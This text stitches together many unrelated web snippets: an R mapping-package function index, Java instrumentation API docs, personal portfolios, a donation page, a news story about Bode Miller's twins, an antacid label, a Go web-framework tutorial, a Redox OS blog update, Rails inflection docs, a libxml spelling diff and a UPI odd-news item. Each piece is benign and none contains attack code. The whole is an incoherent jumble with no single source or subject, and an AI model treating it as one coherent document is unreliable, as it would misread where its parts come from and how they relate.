A B C D E F G H I K L M N O P R S T U V X Z
| GEOmap-package | GEOmap |
| addLLXY | Add Lat-Lon points using projection |
| addTIX | Add Tic marks to map |
| along.great | Along A great Arc |
| antipolygon | Fill the complement of a polygon |
| BASICTOPOMAP | Basic Topogrpahy Map |
| bcars | Plot Box Cars |
| boundGEOmap | Set Bounds for GEOmap |
| CCcheck | Counter Clockwise check |
| ccw | Counter Clockwise Whorl |
| coastmap | Global Coast Map |
| ColorScale | Color Scale |
| darc | Circular Arc |
| DATUMinfo | Datum information. |
| demcmap | Color Map from DEM |
| difflon | Difference between Longitudes |
| distaz | Distance and Azimuth from two points |
| dms | Convert decimal degrees to degree, minutes, seconds |
| DUMPLOC | DUMP vectors to screen in list format |
| EHB.LLZ | Earthquake Location Data |
| Ellipsoidal.Distance | Ellipsoidal Distance |
| eqswath | Extract a set of eathquakes in swath along a cross sectional line |
| equid.cyl.ll | Map projection |
| equid.cyl.xy | Map projection |
| ExcludeGEOmap | Exclude GEOmap Strokes |
| expandbound | Expand Bounds |
| explode | Explode Points |
| ExplodeSymbols | Explode symbols that overlap |
| fastExtract | Extract from GEOmap |
| faultdip | Show Fault dip |
| faultperp | Fault Perpendiculars |
| fixCoastwrap | Correct the Wrapping problem |
| gclc | Global to local coordinates |
| GCLCFR | Global to local coordinates |
| geoarea | Area of Map objects |
| geoLEGEND | Geological legend from GEOmap Structure |
| GEOmap | GEOmap |
| GEOmap.breakline | Break a line at specified indeces into a list |
| GEOmap.breakpoly | Break up a polygon |
| GEOmap.cat | Concatenate Two GEOmaps |
| GEOmap.CombineStrokes | Combine strokes in a GEOmap list |
| GEOmap.Extract | Extract from GEOmap |
| GEOmap.limit | Extract from GEOmap |
| GEOmap.list | GEOmap to list |
| GEOsymbols | GEOsymbols |
| GEOTOPO | Topographic Plot of geographic region |
| getETOPO | Get Subset ETOPO Digital elevation map |
| getGEOmap | Get Geomap |
| getGEOperim | Get Lat-Lon Perimeter |
| getgreatarc | Great Circle Arc |
| getmagsize | Earthquake Magnitude based on exponentional |
| getnicetix | Nice Looking Lat-Lon pairs for plotting |
| getspline | Get a spline curve along a set of points |
| getsplineG | Get a spline curve along a set of points |
| GETXprofile | Cross sectional profile through a digital elevation map |
| GLOB.XY | Convert from GLOBAL LAT-LON to X-Y |
| GLOBE.ORTH | Plot globe with orthogonal |
| GlobeView | Global Plot |
| gmat | Globe Rotation Matrix |
| goodticdivs | Nice tic division |
| horseshoe | Horseshoe Symbol |
| inpoly | Test set of points for inside/outside polygon |
| insertNA | Insert NA in a vector |
| insertvec | Insert a set of values in a vector |
| inside | Determine if point is inside polygon |
| insideGEOmapXY | Get LAT-LON points that fall inside a map |
| KINOUT | Map inside-outside |
| lamaz.eqarea | Lambert-Azimuthal Equal Area |
| lamaz.inverse | Lambert-Azimuthal Equal Area |
| lambert.cc.ll | Map projection |
| lambert.cc.xy | Map projection |
| lambert.ea.ll | Map projection |
| lambert.ea.xy | Map projection |
| LandSeaCol | Land and Sea Colors |
| lcgc | local coordinates to Global |
| linesGEOmapXY | Add lines, points or text to GEOmap projected plot |
| Lintersect | Finder intersection of lines |
| list.GEOmap | List stroke points in a GEOmap |
| ll2xyz | LAT-LON to xyz |
| Lll2xyz | List Lat-Lon to cartesian XYZ |
| LLlabel | Nice Lat-Lon Label |
| LOCPOLIMAP | LOCPOLIMAP |
| locworld | Locate points in worlmap |
| Lxyz2ll | Cartesian to Lat-Lon |
| MAPconstants | Set Various Map Constants |
| maplim | Map Limits |
| maps2GEOmap | Convert maps data to GEOmap format |
| mapTeleSeis | World Map with Teleseismic Ray-paths |
| Markup | Add markup information to an existing plot |
| merc.sphr.ll | Map projection |
| merc.sphr.xy | Map projection |
| merid | Orthogonal Projection of Meridian or Parallel |
| niceLLtix | Nice DMS coordinates |
| NoOverlap | Shift Symbols |
| normalfault | Normal Fault trace |
| NSarrow | North-South Weather Vane Arrow |
| NSWath | Cross sectional Swaths of Earthquakes over Japan |
| ortho.proj | Orthogonal Map Projection |
| OverTurned | Plot Overturned fault |
| paral | Orthogonal Projection of Meridian or Parallel |
| perpen | perpendicular marks along line |
| pgon | Plot regular polygon: pentagon, hexagon, octagon |
| pline | Point to line distance |
| plotGEOmap | Plot a GEO map |
| plotGEOmapXY | Plot a projected GEO map |
| plothypos | Plot Edicenters |
| plotnicetix | Plot Lat-Lon tick marks |
| plotusa | Map of USA |
| plotUTM | Plot UTM |
| plotworldmap | Plot World Map with UTM sections |
| PointsAlong | Find spaced Points along a line |
| pointsGEOmapXY | Add lines, points or text to GEOmap projected plot |
| polyGEOmapXY | Add lines, points or text to GEOmap projected plot |
| polyintern | Internal point of polygon |
| printGEOinfo | printGEOinfo |
| printGEOmap | printGEOmap |
| projtype | List of Projection types |
| rectGEOmapXY | Add lines, points or text to GEOmap projected plot |
| rectPERIM | Extract a rectangular perimeter |
| rekt2line | Rectangle Line Overlap |
| rose | Rose Diagram |
| rotateGEOmap | Rotate a GEOmap |
| rotdelta4 | rotation about Z-axis |
| rotmat2D | set a rotation matrix |
| rotx4 | x-axis rotation matrix |
| roty4 | y-axis rotation matrix |
| SELGEOmap | Select parts of a GEOmap |
| setMarkup | Set up mark up for maps |
| setplotmat | set up matrices for selecting from eTOPO5 |
| SETPOLIMAP | Set up polygons for World map Database |
| setPROJ | Set Projection |
| settopocol | Topographic Color Map |
| sizelegend | Magnitude size legend |
| sqrTICXY | Tick marks for Square plot |
| SSfault | Strike Slip Fault |
| stereo.sphr.ll | Map projection |
| stereo.sphr.xy | Map projection |
| STROKEinfo | Stroke Information |
| subsetTOPO | Subset a Topo map |
| SynAnticline | Syncline and Anticline traces |
| targetLL | Target Lat-Lon |
| teeth | Add Teeth to line |
| textGEOmapXY | Add lines, points or text to GEOmap projected plot |
| thrust | Thrust Fault |
| TOPOCOL | Create Topography ColorMAP |
| trans4 | Translation matrix |
| utm.elps.ll | Map projection |
| utm.elps.xy | Map projection |
| UTM.ll | Map projection |
| utm.sphr.ll | Map projection |
| utm.sphr.xy | Map projection |
| utm.wgs84.ll | Map projection |
| utm.wgs84.xy | Map projection |
| UTM.xy | Map projection |
| utmbox | Get UTM Box info |
| UTMzone | UTM zone information |
| vane | North-South Weather Vane Arrow |
| X.prod | Cross Product |
| XSECDEMg | Cross Sections Using RPMG |
| XSECEQ | Iinteractive earthquake cross section |
| XSECwin | Cross sectional plot with earthquakes projected |
| XY.GLOB | Convert from XY to GLOBAL LAT-LON |
| xyz2ll | Cartesian to Lat-Lon |
| zebra | Horizontal Zebra Scale |


| Packages |
| pete | Configuration pete.run(a_suite_in => 'suite_code'); |
| pete_assert | Pete assert package |
| pete_configuration_runner | Package for running unit tests defined by configuration |
| pete_convention_runner | Convention over Configuration test runner TODO: change this do not call these methods directly - use pete package instead |
| pete_core | |
| pete_logger | Pete logging package |


public interface ClassFileTransformer { byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException; }
Parameters:
loader
- the defining loader of the class to be transformed, may be null
if the bootstrap loader
className
- the name of the class in the internal form of fully qualified class and interface names as defined in The Java Virtual Machine Specification. For example, "java/util/List".
classBeingRedefined
- if this is triggered by a redefine or retransform,
the class being redefined or retransformed; if this is a class load, null
protectionDomain
- the protection domain of the class being defined or redefined
classfileBuffer
- the input byte buffer in class file format - must not be modified
Returns:
null
if no transform is performed.
Throws:
IllegalClassFormatException
- if the input does not represent a well-formed class file
The implementation of this transform
method may transform the supplied class file and return a new replacement class file.
There are two kinds of transformers, determined by the canRetransform
parameter of
Instrumentation.addTransformer(ClassFileTransformer transformer, boolean canRetransform)
:
canRetransform
as true
canRetransform
as false
or where added with Instrumentation.addTransformer(ClassFileTransformer transformer)
Once a transformer has been registered with addTransformer
,
the transformer will be called for every new class definition and
every class redefinition.
Retransformation capable transformers will also be called on every class retransformation.
ClassLoader.defineClass
or its native equivalents.
Instrumentation.redefineClasses
or its native equivalents.
Instrumentation.retransformClasses
or its native equivalents.
The transformer is called during the processing of the request, before the class file bytes have been verified or applied.
When there are multiple transformers, transformations are composed by chaining the transform calls. That is, the byte array returned by one call to transform becomes the input (via the classfileBuffer parameter) to the next call.
Transformations are applied in the following order:
For retransformations, the retransformation incapable transformers are not called,
instead the result of the previous transformation is reused.
In all other cases, this method is called.
Within each of these groupings, transformers are called in the order registered.
Native transformers are provided by the ClassFileLoadHook
event in the Java Virtual Machine Tool Interface.
The input (via the classfileBuffer
parameter) to the first transformer is:
ClassLoader.defineClass
definitions.getDefinitionClassFile()
where definitions
is the parameter to Instrumentation.redefineClasses
If the implementing method determines that no transformations are needed, it should return null
.
Otherwise, it should create a new byte[]
array, copy the input classfileBuffer
into it,
along with all desired transformations, and return the new array. The input classfileBuffer
must not be modified.
In the retransform and redefine cases, the transformer must support the redefinition semantics: if a class that the transformer changed during initial definition is later retransformed or redefined, the transformer must insure that the second class output class file is a legal redefinition of the first output class file.
If the transformer throws an exception (which it doesn't catch),
subsequent transformers will still be called and the load,
redefine or retransform will still be attempted.
Thus, throwing an exception has the same effect as returning null
.
To prevent unexpected behavior when unchecked exceptions are generated in transformer code,
a transformer can catch Throwable
.
If the transformer believes the classFileBuffer
does not represent a validly formatted class file,
it should throw an IllegalClassFormatException
;
while this has the same effect as returning null
.
it facilitates the logging or debugging of format corruptions.


Name (required)
E-Mail (required) (not shown in comments)
Website (shown in comments)
The red marked fields are required but are empty or not right filled out.


--- layout: page title: search header: Pages group: navigation ---
Statistics and insights into the information made available in the ABSCH.
Find information that can help implementing the Protocol
All national information for a specific country
All infomration related to getting access for specific country in one place.
Need some help implementing the Protocol
All national information for a specific country
All infomration related to getting access for specific country in one place.
Need some help implementing the Protocol


I'm looking to join an amazing team that is building an amazing product
About MeI'm Justin, web-developer and undergraduate student in Information Systems. I have helped startups gather more than $250,000 in seed funding with my work, and I am looking to do even more. While my expertise centers around design and development, my work with various startups in Singapore has taken me on an exciting journey from front-end to back-end and everywhere else in between. I go where I am needed, always more than happy to learn a new framework or library, because I believe there is always a right tool for the job. Nevertheless, I am excited for the exhilarating adventure that lies ahead of me as I stand in the sweet spot where beautiful design and clean development collides.
I develop for the web with HTML5,CSS3 and javascript. Special shoutout to Jquery, AngularJS and Twitter Bootstrap
I create wireframes mockups that place emphasis on intuitive UI patterns and simple interactions. Sometimes, less is more
I work closely with founders and customers to translate business requirements into well-defined specifications because that is how great user experiences begin
When I'm not working for startups, I'm working on digital products.


Literature, with some interest in paleography/papyrology. I have a wide array of interests but often find myself in histories the novels.
Greek and Roman cultures did not exist or develop in a vacuum. Second Temple and Rabbinic Judaism offer additional avenues to study the ancient Mediterranean.
I love close reading, especially in a classroom. Distant reading and macroanalysis of texts offer new possibilities for insight and can lead to explorations beyond the canon.
I love to click things! Engagement and learning outcomes improve when users can manipulate data. (today's undergrads)
I went in leaning toward Chemistry, but a 200 level survey of Ancient Greek history in my first semester led to the Roman history survey, then Classical Myth, a 300 level on Alexander the Great, and my first course in Ancient Greek. I had already satisfied the language requirement with Spanish and I was closer to graduating in History than Classics, so I did not continue Ancient Greek courses but I was hooked without knowing how deeply at that time.
I started driving as a student job and loved it. I continued to drive after graduating as a full time bus driver (with great pay and benefits). I developed a strong sense of safety and customer service. Also, there was plenty of time to read translations of classical literature on breaks.
After getting married in 2009, I became a dad the next year and my wife's career (Softball Coach) brought us to Bloomington, Indiana. While full time parenting the first year, I tried to resume Ancient Greek by teaching myself from Mastronarde. I missed the classroom environment and began an MA in Ancient History and Language Acquisition. I took an intensive Summer Latin course (3 hours a day, 5 days a week, all Wheelock in 12 weeks) and absolutely loved it.
Coaching careers are volatile and we moved to Chicago in August of 2013. I was eager for more ancient language and applied to a Post-Bac at Loyola two weeks before the start of classes. Now in a classroom for both Latin and Greek, I still wanted more and zipped to the opposite end of the city several days a week to the University of Chicago as a graduate student at-large.
I entered Iowa to study for a PhD with general interests in ancient religion and history. Now I am writing my dissertation on a stylometric analysis of Josephus. Along that path, I have acquired a teaching knowledge of Biblical Hebrew and Targumic Aramaic as well as a number of digital and technical skills.
Enthusiastic Lover of Languages
back of book type blurb. My wife and children (5th, 3rd, and K) live with me in North Liberty, Iowa. In summer, we are found in a pool or lake; by fall, on hiking trails; if the winter is snowy, we sled, otherwise we huddle for warmth while reading or watching a movie; SPRING... landscaping and gardening that probably won't survive the summer.


Support us, we seek to create united afrika where education is free and universal.
Early access to content, and high quality political and economic eduction.
A general donation of any amount via PayPal.
If you would like a way to support for any amount a month, you can do this through Patreon.
Bitcoin donations to: 15z2MPrNgcWEu5J8CtYTfXgAZ5BnSyz5i1
The brain . Donations and subscriptions go towards running costs such as hosting, recording software, recording hardware, and a massive time investment.
{% endblock %}


Olympic skier Bode Miller welcomes twins after losing daughter
Morgan Miller gives birth after child's drowning
by Lauren M. Johnson and Leah Asmelash, CNN(CNN) - Bode and Morgan Miller have welcomed twin boys into the world, about a year after losing a child to drowning.
The babies were born November 8, three days before they were due.
Bode, a former Olympic skier, and his wife Morgan announced the birth Tuesday on the "Today" show.
"None of the midwives actually made it on time," Bode told the show in a phone call. "By the time they got there, me and my mom were both holding the babies. ... One minute we're just hanging out and the next they were out."
The couple's 1-year-old daughter, Emeline "Emmy" Miller, died by drowning in a pool. The Millers have dedicated their efforts to child drowning prevention and awareness.
"Insanely overwhelmed and grateful for all these gifts my baby girl keeps sending," Morgan shared on Instagram.
Morgan revealed the news in August on Instagram, saying that she learned that "joy and grief could coexist. Now, I can actually say with joy and excitement that we are expecting identical twin boys."
Morgan Miller added that her husband has always wanted twin boys born on his birthday, October 12.
Unfortunately, his wish didn't come true, but the couple is happy the boys are finally here.
"From the beginning of this pregnancy, we knew Emmy had her hands in this miracle somehow," she wrote.
The couple said they have not picked names for the babies yet.


ALUMINUM HYDROXIDE - aluminum hydroxide gel
LLC Federal Solutions
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Active ingredient (in each 5 mL teaspoonful)
Aluminum hydroxide 320 mg
Uses
For the relief of
- heartburn
- acid indigestion
- sour stomach
Ask a doctor or pharmacist before use if you are taking a prescription drug.
Antacids may interact with certain prescription drugs.
When using this product you may get constipated
Stop use and ask a doctor if symptoms last more than 2 weeks
Keep this and all drugs out of reach of children.
Directions
- shake well before using
- do not take more than 12 teaspoonfuls in 24 hours
- do not use the maximum dosage for more than 2 weeks
-
dosage: 2 teaspoonfuls 5-6 times daily after meals and at bedtime followed by a sip of water if needed
Other information
- store at room temperature
- protect from freezing
- keep tightly closed
Inactive ingredients
benzyl alcohol, butylparaben, flavor, glycerin, hydroxyethylcellulose, propylparaben, purified water, saccharin sodium, simethicone emulsion, sorbitol solution
Questions or comments?
Call 1-855-333-6337
Repackaged by:
Safecor Health LLC
317 New Boston St.
Woburn, MA 01801
Distributed by:
LLC Federal Solutions
14 NE 1st Ave.
Miami, FL 33123
———PRINCIPAL DISPLAY PANEL———
NDC: 24451-091-30
ALUMINUM HYDROXIDE
GEL, USP
1920 mg / 30 mL
DELIVERS 30 mL
SUGAR FREE
MINT FLAVOR
SHAKE WELL BEFORE USING
Exp: 00/00/00 Lot # 00000
Rpk By: Safecor Health LLC
Woburn, MA 01801
Dist. By: LLC Federal Solutions
Miami, FL 33132


Home - ThatsZman
ThatsZman
Coding since 2017
TimeAlert
Helping your wellbeing.
Learn More
ThatsZman - Coding since 2017
© 2018 ThatsZman


uAdmin the Golang Web Framework¶
uAdmin is easy to use, blazing fast and secure. It is a simple yet powerful web framework for building web applications.
Before you proceed to the installation, go over to the Getting Started to see the prerequisite requirements.
Installation¶
$ go get -u -v github.com/uadmin/uadmin/...
To test if your installation is fine, run the uadmin command line:
$ uadmin
Usage: uadmin COMMAND [--src]
This tools helps you prepare a folder for a new project or update static files and templates
Commands:
prepare Generates folders and prepares static and templates
version Shows the version of uAdmin
Get full documentation online:
https://uadmin-docs.readthedocs.io/en/latest/
Your First App¶
Let’s build your first app which is a Todo list. First, we will create a folder for your project and prepare it.
$ mkdir -p ~/go/src/github.com/your_name/todo
$ cd ~/go/src/github.com/your_name/todo
$ uadmin prepare
[ OK ] Created: /home/pc_name/go/src/github.com/your_name/todo/models
[ OK ] Created: /home/pc_name/go/src/github.com/your_name/todo/api
[ OK ] Created: /home/pc_name/go/src/github.com/your_name/todo/views
[ OK ] Created: /home/pc_name/go/src/github.com/your_name/todo/media
[ OK ] Created: /home/pc_name/go/src/github.com/your_name/todo/static
[ OK ] Created: /home/pc_name/go/src/github.com/your_name/todo/templates
Now use your code editor to create main.go and put this code inside it.
package main
import (
"github.com/uadmin/uadmin"
)
func main() {
uadmin.StartServer()
}
Prepare modules
go mod init
go mod tidy
Now to run your code (Linux and Apple macOS):
go build; ./todo
In Windows:
go build & todo
Result:
[ OK ] Initializing DB: [13/13]
[ OK ] Initializing Languages: [185/185]
[ INFO ] Auto generated admin user. Username: admin, Password: admin.
[ OK ] Synching System Settings: [51/51]
[ OK ] Server Started: http://<IP_ADDRESS>:8080
___ __ _
__ __/ | ____/ /___ ___ (_)___
/ / / / /| |/ __ / __ __ \/ / __ \
/ /_/ / ___ / /_/ / / / / / / / / / /
\__,_/_/ |_\__,_/_/ /_/ /_/_/_/ /_/
Important
In Windows, you need to use localhost in order to run your application (e.g. http://localhost:8080).
If you go to the explorer, you will notice that there are automatically generated .key and .salt files hidden in your computer.
.key is used for authentication process to assure that the key of the user (“person A” for instance) held by “person B” belongs to the authenticated user which is “person A”.
.salt is extra salt added to password hashing. They add an extra security to your application.
Once they have been deleted, no one can login to your application unless you use the recovery admin account that is automatically generated by your terminal.
Open your browser and go to http://localhost:8080. Then login using “admin” as username and password.
Well done! You have created your first application with the following system models in the uAdmin dashboard.
Go to uAdmin Tutorials section for the continuation.
Update uAdmin to latest version¶
Open your terminal and apply the following commands:
$ cd ~/go/src/github.com/uadmin/uadmin
$ go install
$ uadmin version
[ INFO ] 0.7.4


Bobby
Bobby is a movie starring Anthony Hopkins, Demi Moore, and Sharon Stone. The story of the assassination of U.S. Senator Robert F. Kennedy, who was shot in the early morning hours of June 5, 1968 in the Ambassador Hotel in Los...


This Week in Redox 1
This is the first post in a blog series tracking the development and progress of Redox, the modular and secure OS, written in Rust. So welcome!
(written by Ticki)
What’s new in Redox?
- The development of Redox’s package manager, Oxide (
ox
for short), has started. The source for Oxide can be found here. - @jackpot51, @stratact, and @tedsta have started implementing support for ZFS, which is planned to be the main file system used in Redox.
- @ticki made an icon for Redox (see screenshots).
- @hauleth set up a cool website, using Hugo.
- @ticki cleaned up the style in the whole codebase.
@esell cargoified a lot of crates in the main repository.
Thanks to @stryan and @jackpot51, the window manager is moved to libredox, under the name
orbital
.
What does it look like?
The desktop. Yay! Fancy opacity. We have a file manager! The boot screen.
What’s next?
- Moving many functions out of the kernel/libredox. For example, we plan to move orbital out of libredox.
- Porting libstd completely. Many of the libstd functionalities are provided by the
common
module right now. However, we would like to port libstd to provide support for other crates. - Adding signatures, hashes, and other crypto stuff to the Oxide package manager.
- Improving documentation.
- Starting a shell (rash).
- Make Redox support 64-bit system.
And lots of lots of lots of other stuff.
Contributors
(fetched from Contributors
section on Github)
- jackpot51
- ticki
- stratact
- esell
- stryan
- tedsta
- layered-esell
- hauleth


New at cinemas
Home
Settings
Locate Cinema:
Whats on:
Your Bio:
Movie Ark Search
Latest cinema releases -TMDB
Film Title:
Description:
Rating:
Release Date
Film Title:
Description:
Rating:
Release Date
Film Title:
Description:
Rating:
Release Date
Back to Previous Listings
(c)2017 All Rights Reserved


Pokedex written by Richard Wu
Click anywhere to initialize Pokemon
Utilizes Materializecss, PokeAPI, Animate.css, Pokemon-font by Superpencil, Pokemon images from pokemon.com, and Pokemon cries from veekun.com


| milliseconds = the amount of milliseconds to delay. 1000=1 second |
| This command stops all program execution for the designated time period. All execution stops. If you need program execution to continue, consider trapping time elapsed with a custom timer function using Millisecs(). |
|
; Delay for 5 seconds
Delay 5000 |


VSL // Campaign Innovation
* In non-profit fundraising, there’s often just as much value in asking donors for skills, assets and connections, as there is in asking for funds. Donor360
today’s Very Short List:
culture 2 Jun 2014
Isabel Sheinman is the Director of Business Development at Library For All
Subscribe
* The first ever ‘Made in Haiti’ tablet is not just another cheap device. It’s a robust product that represents a Haitian company’s bold initiative
* The absolute best version of ‘Happy’ I’ve seen yet, this music video
http://link.nyobserver.com/516ca68465217dc6e1b9a3a61lzed.bcc/U0seiOYQi3UyI2S8D3fb5 very short list is a
delightful e-mail that shares
cultural gems from a
different curator every day.
If you have any problems reading this e-mail, click here
http://link.nyobserver.com/516ca68465217dc6e1b9a3a61lzed.bcc/U0seiOYQi3UyI2S8E78f8
Subscribe
Forward
My Account
Unsubscribe
food 30 May 2014
Chef Cristina Castañeda on a healthy balance of mind, body, and Mexican food.
culture 28 May 2014
Vivianne Lapointe puts the A in F.A.S.T.
design 26 May 2014
Dave Seliger on designing government.
Editorial Policy
Privacy Policy
Contact Us
Press
Terms + Conditions
very fine print: ©2014
Observer VSL LLC.
321 West 44th Street, 6th Floor
New York, NY 10036 USA
All rights reserved.
Questions?<PHONE_NUMBER>.
This message was intended for<EMAIL_ADDRESS>If you believe this has been sent to you in error, please safely unsubscribe


String inflections define new methods on the String class to transform names for different purposes. For instance, you can figure out the name of a database from the name of a class.
"ScaleScore".tableize # => "scale_scores"
- camelcase
- camelize
- classify
- constantize
- dasherize
- demodulize
- foreign_key
- humanize
- parameterize
- pluralize
- singularize
- tableize
- titlecase
- titleize
- underscore
Alias for camelize
By default, camelize converts strings to UpperCamelCase. If the argument to camelize is set to :lower then camelize produces lowerCamelCase.
camelize will also convert ’/’ to ’::’ which is useful for converting paths to namespaces.
"active_record".camelize # => "ActiveRecord" "active_record".camelize(:lower) # => "activeRecord" "active_record/errors".camelize # => "ActiveRecord::Errors" "active_record/errors".camelize(:lower) # => "activeRecord::Errors"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 44 44: def camelize(first_letter = :upper) 45: case first_letter 46: when :upper then Inflector.camelize(self, true) 47: when :lower then Inflector.camelize(self, false) 48: end 49: end
Create a class name from a plural table name like Rails does for table names to models. Note that this returns a string and not a class. (To convert to an actual class follow classify with constantize.)
"egg_and_hams".classify # => "EggAndHam" "posts".classify # => "Post"
Singular names are not handled correctly.
"business".classify # => "Busines"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 129 129: def classify 130: Inflector.classify(self) 131: end
constantize tries to find a declared constant with the name specified in the string. It raises a NameError when the name is not in CamelCase or is not initialized.
Examples
"Module".constantize # => Module "Class".constantize # => Class
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 161 161: def constantize 162: Inflector.constantize(self) 163: end
Replaces underscores with dashes in the string.
"puni_puni" # => "puni-puni"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 78 78: def dasherize 79: Inflector.dasherize(self) 80: end
Removes the module part from the constant expression in the string.
"ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections" "Inflections".demodulize # => "Inflections"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 86 86: def demodulize 87: Inflector.demodulize(self) 88: end
Creates a foreign key name from a class name. separate_class_name_and_id_with_underscore sets whether the method should put ‘_’ between the name and ‘id’.
Examples
"Message".foreign_key # => "message_id" "Message".foreign_key(false) # => "messageid" "Admin::Post".foreign_key # => "post_id"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 150 150: def foreign_key(separate_class_name_and_id_with_underscore = true) 151: Inflector.foreign_key(self, separate_class_name_and_id_with_underscore) 152: end
Capitalizes the first word, turns underscores into spaces, and strips ‘_id’. Like titleize, this is meant for creating pretty output.
"employee_salary" # => "Employee salary" "author_id" # => "Author"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 138 138: def humanize 139: Inflector.humanize(self) 140: end
Replaces special characters in a string so that it may be used as part of a ‘pretty’ URL.
Examples
class Person def to_param "#{id}-#{name.parameterize}" end end @person = Person.find(1) # => #<Person id: 1, name: "Donald E. Knuth"> <%=<EMAIL_ADDRESS>person_path %> # => Donald E. Knuth
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 105 105: def parameterize(sep = '-') 106: Inflector.parameterize(self, sep) 107: end
Returns the plural form of the word in the string.
"post".pluralize # => "posts" "octopus".pluralize # => "octopi" "sheep".pluralize # => "sheep" "words".pluralize # => "words" "the blue mailman".pluralize # => "the blue mailmen" "CamelOctopus".pluralize # => "CamelOctopi"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 19 19: def pluralize 20: Inflector.pluralize(self) 21: end
The reverse of pluralize, returns the singular form of a word in a string.
"posts".singularize # => "post" "octopi".singularize # => "octopus" "sheep".singularize # => "sheep" "word".singularize # => "word" "the blue mailmen".singularize # => "the blue mailman" "CamelOctopi".singularize # => "CamelOctopus"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 31 31: def singularize 32: Inflector.singularize(self) 33: end
Creates the name of a table like Rails does for models to table names. This method uses the pluralize method on the last word in the string.
"RawScaledScorer".tableize # => "raw_scaled_scorers" "egg_and_ham".tableize # => "egg_and_hams" "fancyCategory".tableize # => "fancy_categories"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 115 115: def tableize 116: Inflector.tableize(self) 117: end
Alias for titleize
Capitalizes all the words and replaces some characters in the string to create a nicer looking title. titleize is meant for creating pretty output. It is not used in the Rails internals.
titleize is also aliased as titlecase.
"man from the boondocks".titleize # => "Man From The Boondocks" "x-men: the last stand".titleize # => "X Men: The Last Stand"
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 60 60: def titleize 61: Inflector.titleize(self) 62: end
The reverse of camelize. Makes an underscored, lowercase form from the expression in the string.
underscore will also change ’::’ to ’/’ to convert namespaces to paths.
"ActiveRecord".underscore # => "active_record" "ActiveRecord::Errors".underscore # => active_record/errors
[ show source ]
# File vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb, line 71 71: def underscore 72: Inflector.underscore(self) 73: end


Create a new account
First name*
Last name
Email address
Password
Confirm password
By clicking Create Account, you agree to our
Terms and Conditions
.


Use GitHub markdown and Ascii Math to write beautiful mathematics and scientific notes.
Example
This is under heavy development in my few free time. Expect a lots of improvements.


{% block page_banner %}
{% comment %}
{{ partial_submissions|partial_submission_banner }}
{% endcomment %}
{% endblock %}
{% block content_area %}
{# this block will be inherited by one of two page types i.e., single column (base_1col.html), two columns (base_2col.html - for fixed side navbar) #}
{# include either of the two templates (inheriting this base template) in your working page and not the base.html directly. #}
{% endblock content_area %}


At the time of writing this will work only in Google's Chrome browser. Chrome may block SysEx access if you run this from a website, in which case download the html file locally and run it from there.
Send to MIDI output port:
Listen on MIDI input port:


This web app provides a dynamic UI hub that can be simultaneously developed by a crowd of frontenders. It fully adheres to the four reactive principles:
A responsive system is quick to react to all users — under blue skies and grey skies — in order to ensure a consistently positive user experience.
A resilient system applies proper design and architecture principles in order to ensure responsiveness under grey skies as well as blue.
A scalable system is easily upgraded on demand in order to ensure responsiveness under various load conditions.
A message-driven architecture is the foundation of Reactive applications. A message-driven application may be event-driven, actor-based, or a combination of the two.
The main difference between messages and events is that messages are directed while events happen.
Messages have a clear destination while events may be observed by zero or more (0-N) observers.
More info on reactive UIs
This node app allows to explore various aspects of fully reactive UI, without buy-in into any reactive frameworks. It is a learning tool not meant to be a framework to develop full stack production UI .


< prev index next > modules/javafx.web/src/main/native/Source/ThirdParty/libxml/src/nanohttp.c
Print this page
#if defined(HAVE_NETDB_H) && defined(HOST_NOT_FOUND) && defined(__linux__)
const char *h_err_txt = "";
switch (h_errno) {
case HOST_NOT_FOUND:
- h_err_txt = "Authoritive host not found";
+ h_err_txt = "Authoritative host not found";
break;
case TRY_AGAIN:
h_err_txt =
- "Non-authoritive host not found or server failure.";
+ "Non-authoritative host not found or server failure.";
break;
case NO_RECOVERY:
h_err_txt =
"Non-recoverable errors: FORMERR, REFUSED, or NOTIMP.";
< prev index next >


British couple offering $40,000 for full-time dog-sitter
by Ben HooperNov. 25 (UPI) -- A British couple are offering nearly $40,000 a year for a full-time dog-sitter to take care of their two golden retrievers.
The job posting on Silver Swan Search seeks a full-time, live-in caretaker for golden retrievers Milo and Oscar at the London home of the canines' owners.
The owners wrote they are both business executives who often have to travel internationally for business.
The posting said the dog caretaker would also be called upon to perform some housekeeping duties such as cleaning, occasional laundry and light cooking.
The position, which requires work Monday through Friday and some weekends, pays $38,676-$41,254 a year, plus room and board.
(0) Leave a comment
upi.com/6962417
Latest Headlines
Odd News // 10 hours ago
Baby seal rescued from parking deck in California
Nov. 25 (UPI) -- A baby fur seal that wandered into a California parking deck caught a lift to the local fire station, where it settled in for a nap.
Odd News // 10 hours ago
Lottery-winning dream leads South Carolina man to real-life jackpot
Nov. 25 (UPI) -- A South Carolina man said a dream of winning the lottery led to his winning a real-life $250,000 jackpot from a scratch-off ticket.
Odd News // 11 hours ago
Newborn giraffe adopted by dog at South Africa sanctuary
Nov. 25 (UPI) -- A wildlife sanctuary in South Africa said a newborn giraffe found abandoned and comatose is now improving with help from his new adopted parent -- an anti-poaching dog.
Odd News // 12 hours ago
Professor carries student's baby during lecture
Nov. 25 (UPI) -- A professor at a Texas college is being applauded online after holding a student's baby while teaching so the pupil could review for an exam.
Odd News // 13 hours ago
Home-invading leopard captured in India
